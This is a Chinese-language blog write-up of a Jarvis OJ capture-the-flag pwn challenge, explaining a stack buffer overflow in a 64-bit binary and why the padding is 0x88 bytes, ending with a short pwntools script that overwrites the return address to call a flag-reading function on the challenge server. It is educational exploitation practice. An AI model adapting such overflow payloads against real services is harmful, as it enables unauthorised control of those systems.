Pwn-Tell Me Something

题目地址

友链

64位的程序  并且有NX保护机制

 用IDA查看伪代码

发现可以good_game函数中可以直接打开flag.txt

但是main函数不会执行good_game函数,不过 read函数存在栈溢出,可以利用栈溢出控制程序流程,执行good_game

 正常我们是需要填充(0x88+0x8)个字节,再写入good_game的地址

 但是这样构造的payload打不通

看了一下汇编

跟平时常见的构造栈帧不一样,平时构造栈帧是为

push ebp

mov  ebp,esp

sub   esp,栈帧大小 

 ......

.......

add   esp,栈帧大小

pop   ebp

retn

 

因为栈帧不一样,没有old_ebp,所以只需要填充0x88即可

然后再查看good_game的地址

 exp

from pwn import *
r=remote('pwn.jarvisoj.com',9876)
payload=(0x88)*'a'+p64(0x400620)
r.sendline(payload)
r.interactive()
                   
执行


 

posted @ 2019-10-08 12:22  高诺琪  阅读(297)  评论(0编辑  收藏  举报